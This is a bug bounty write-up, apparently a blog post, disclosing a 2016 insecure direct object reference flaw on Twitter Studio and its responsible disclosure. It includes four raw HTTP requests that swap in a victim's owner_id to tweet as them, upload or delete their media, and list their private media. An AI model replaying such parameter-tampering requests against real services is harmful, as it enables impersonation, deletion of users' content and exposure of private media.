This blog post is about an Insecure direct object reference vulnerability on Twitter. This vulnerability could have been used by attackers to undertake various activities. For example, they could tweet from other accounts, upload videos on behalf of users, delete pics/videos from the victim’s account or view private media uploaded by other Twitter accounts. All endpoints on studio.twitter.com were vulnerable.
About Twitter
Twitter is an online news, and social networking service where users post and interact with messages, called “tweets”, restricted to 140 characters. Registered users can post tweets, but unregistered users can only read them. Users access Twitter through its website interface, SMS, or mobile device app.
Vulnerability Description
Twitter launched a new product named Twitter Studio (studio.twitter.com) in September 2016. I started looking out for security loopholes after the launch.
All API requests on studio.twitter.com were sending a parameter named “owner_id” which was the logged-in user’s publicly available Twitter user ID. The Owner_id parameter was missing authorization checks for changes, which allowed me to take actions on behalf of other Twitter users.
Vulnerable request #1: Tweeting from other Twitter accounts
POST /1/tweet.json HTTP/1.1
Host: studio.twitter.com
{“account_id”:”attacker’s account id”,”owner_id”:”victim’s user id”,”metadata”:
{“monetize”:false,”embeddable_playback”:false,”title”:”Test tweet by attacker”,
“description”:”attacker attacker”,”cta_type”:null,”cta_link”:null},”media_key”:””,
“text”:”attacker attacker”}
Replaying the above request with the victim’s ID resulted in a tweet from the victim’s account.
Vulnerable request #2: Upload Media from another user’s account
POST /1/library/add.json HTTP/1.1
Host: studio.twitter.com
{“account_id”:”attacker’s accountid”,”owner_id”:”victim’s id”,”metadata”:{“monetize”:false,”name”:”abcd.png”,”embeddable_playback”:true,”title”:”Attacker”,”description”:””,”cta_type”:null,”cta_link”:null},”media_id”:””,”managed”:false,”media_type”:”TweetImage”}
Replaying the above request with the victim’s owner_id uploaded media from other user accounts.
Vulnerable request #3: Delete videos of other accounts
POST /1/library/remove.json HTTP/1.1
Host: studio.twitter.com
{“account_id”:”attacker’s account id”,”owner_id”:”victim’s id”,”media_key”:”victim’s video id”}
Replaying the above request with the victim’s user id and victim’s media_key deleted media from the victim’s account.
Vulnerable request #4: Private media disclosure
GET /1/library/list.json?account_id=attacker’s account id&owner_id=victim’s id&limit=20&offset=0 HTTP/1.1
Host: studio.twitter.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://studio.twitter.com/library
Cookie:
Connection: keep-alive
Replaying the above request with the victim’s user ID and my account ID leaked all private media of the victim’s Twitter account in response.
Video Proof of concept
All tests were done on a friend’s account after getting his permission.
- Tweet from victim’s account, Private media leakage
- Delete media from victim’s tweets
Disclosure Timeline
29th August 2016
Reported all findings to Twitter in 3 different reports, as the endpoints were different.
2nd September 2016
I received a response from the Twitter team saying we are looking into the issue and closing out other reports as duplicates, as they shared the same root cause — i.e., missing owner_id check.
3rd September 2016
A Bounty of $5,040 was rewarded by Twitter.